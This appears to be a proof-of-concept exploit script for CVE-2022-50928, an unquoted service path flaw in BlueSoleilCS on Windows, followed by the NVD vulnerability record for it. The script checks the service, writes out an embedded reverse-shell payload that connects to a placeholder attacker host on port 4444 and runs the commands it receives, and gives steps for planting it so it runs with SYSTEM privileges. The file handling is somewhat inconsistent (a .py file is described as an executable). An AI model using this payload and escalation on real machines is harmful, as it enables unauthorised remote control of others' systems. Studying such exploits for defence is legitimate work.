CVE-2022-50928

# CVE-2022-50928 BlueSoleilCS Unquoted Service Path Exploitation PoC # This PoC demonstrates privilege escalation via unquoted service path import os import sys import subprocess import shutil def check_vulnerability(): """Check if BlueSoleilCS service is vulnerable""" try: result = subprocess.run( ['sc', 'qc', 'BlueSoleilCS'], capture_output=True, text=True, timeout=10 ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [line for line in result.stdout.split('\n') if 'BINARY_PATH_NAME' in line] if path_line: path = path_line[0] if '"' not in path and 'BlueSoleil' in path: print("[+] Vulnerability confirmed: Unquoted service path detected") print(f"[+] Current path: {path}") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create malicious executable to be placed in vulnerable path""" malicious_path = r'C:\Program Files\IVT.exe' # Create a simple reverse shell payload payload = ''' import socket import subprocess import os def reverse_shell(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("ATTACKER_IP", 4444)) s.send(b"[+] Connection established from " + str(os.getcwd()).encode()) while True: cmd = s.recv(1024).decode() if cmd.lower() == 'exit': break output = subprocess.run(cmd, shell=True, capture_output=True, text=True) s.send(output.stdout.encode() + output.stderr.encode()) s.close() except: pass if __name__ == "__main__": reverse_shell() ''' with open(malicious_path.replace('.exe', '_temp.py'), 'w') as f: f.write(payload) print(f"[+] Malicious payload created at {malicious_path}_temp.py") return malicious_path def exploit(): """Main exploitation function""" print("="*60) print("CVE-2022-50928 BlueSoleilCS Unquoted Service Path Exploit") print("="*60) if not check_vulnerability(): print("[-] Service not vulnerable or BlueSoleilCS not installed") return malicious_path = create_malicious_executable() print("\n[!] To complete exploitation:") print(f"[!] 1. Place malicious executable at: {malicious_path}") print("[!] 2. Wait for service restart or system reboot") print("[!] 3. Malicious code will execute with SYSTEM privileges") print("\n[*] Note: This is for educational purposes only") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2022-50928", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:57.230", "lastModified": "2026-02-02T16:16:16.407", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BlueSoleilCS 5.4.277 contains an unquoted service path vulnerability in its Windows service configuration that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted binary path in 'C:\\Program Files\\IVT Corporation\\BlueSoleil\\BlueSoleilCS.exe' to inject malicious executables and escalate privileges."}, {"lang": "es", "value": "BlueSoleilCS 5.4.277 contiene una vulnerabilidad de ruta de servicio sin comillas en la configuración de su servicio de Windows que permite a atacantes locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta binaria sin comillas en 'C:\\Program Files\\IVT Corporation\\BlueSoleil\\BlueSoleilCS.exe' para inyectar ejecutables maliciosos y escalar privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivtcorporation:bluesoleilcs:5.4.277:*:*:*:*:*:*:*", "matchCriteriaId": "8A5473D8-A7C8-43E3-A762-7FE71C108D7B"}]}]}], "references": [{"url": "https://web.archive.org/web/20210624054150/http://ivtcorporation.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50761", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/bluetooth-application-bluesoleilcs-unquoted-service-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50761", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}